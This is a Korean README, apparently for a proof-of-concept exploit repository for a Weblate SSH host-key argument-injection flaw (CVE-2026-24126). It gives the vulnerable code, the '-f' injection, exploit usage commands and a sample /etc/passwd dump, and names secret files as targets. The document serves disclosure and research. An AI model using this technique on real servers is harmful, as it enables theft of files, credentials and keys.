
CVE-2026-24126에 대한 개념 증명 익스플로잇으로, SSH 호스트 인수 주입을 통해 Weblate에서 임의 파일 읽기를 가능하게 하며, 인증된 관리자가 서버 파일을 읽을 수 있게 합니다.
발견자: Alejandro Baño · 2026년 1월 확인: Weblate 5.16 릴리스 노트
Weblate의 SSH 호스트 키 관리 엔드포인트는 인증된 관리자가 제공한 host 매개변수를 어떠한 정제나 인자 검증 없이 ssh-keyscan에 직접 전달합니다. ssh-keyscan은 -f <file> 플래그를 통해 파일에서 대상 호스트 이름을 읽을 수 있기 때문에, 관리자 자격 증명을 가진 공격자는 해당 플래그를 호스트 값으로 주입하여 서버가 임의의 로컬 파일을 열도록 강제할 수 있습니다. 그 결과 발생하는 오류 출력(또는 stdout)이 오류 메시지 블록 내에서 브라우저로 그대로 반사되어 파일 내용이 유출됩니다.
| 필드 | 값 |
|---|---|
| 대상 | Weblate (자체 호스팅 인스턴스) |
| 구성 요소 | SSH 키 관리 — weblate/ssh/views.py · add_host_key() |
| 인증 필요 | 예 — Weblate 관리자 계정 |
| 영향받는 버전 | 모든 버전 ≤ 5.15.2 (5.0.2 및 5.15.2에서 테스트됨) |
| 영향 | 웹 서버 프로세스 사용자(weblate, www-data 등) 권한으로 임의 로컬 파일 읽기 |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — simplified
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← host is appended with no validation
result = subprocess.run(cmdline, ...)
host 값은 POST 본문 필드 host에서 직접 가져오며, 허용 목록도 없고, 선행 대시 제거도 없으며, 사용자 제공 값 앞에 -- 인자 종결자도 없습니다. 이로 인해 공격자는 임의의 ssh-keyscan 플래그를 주입할 수 있습니다.
ssh-keyscan -f /etc/passwd는 /etc/passwd를 호스트 이름 목록으로 읽고, 각 줄을 확인하지 못하여 모든 줄에 대해 오류 출력을 생성합니다. 이 오류 출력은 CalledProcessError 핸들러를 통해 전파되어 HTTP 응답의 alert-danger 블록 내에 표시됩니다.
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| 플래그 | 설명 |
|---|---|
-r / --rhost | Weblate 인스턴스의 기본 URL |
-u / --username | 관리자 사용자 이름 |
-p / --password | 관리자 비밀번호 |
-f / --file | 서버에서 읽을 파일의 경로 |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] Login successful for user: admin
[*] Sending payload to http://localhost/manage/ssh/, this could take some time, please be patient...
[+] Extracted file content:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit finished
Weblate를 실행하는 OS 사용자(일반적으로 weblate 사용자)가 읽을 수 있는 모든 파일은 단일 인증된 POST 요청을 통해 유출될 수 있습니다. 민감한 대상은 다음과 같습니다:
settings.py, .env, local_settings.py/var/lib/weblate/.ssh/id_rsaWeblate 5.16.0 이상으로 업데이트하십시오. 이는 2026년 2월 18일 Weblate 팀이 릴리스한 공식 수정 사항으로, SSH 호스트 필드에 대한 적절한 입력 검증이 도입되었습니다.
이 저장소는 교육 및 승인된 보안 연구 목적으로만 사용됩니다. 소유하지 않았거나 테스트에 대한 명시적 서면 허가를 받지 않은 시스템에 이 도구를 사용하지 마십시오. 작성자는 오용에 대해 어떠한 책임도 지지 않습니다.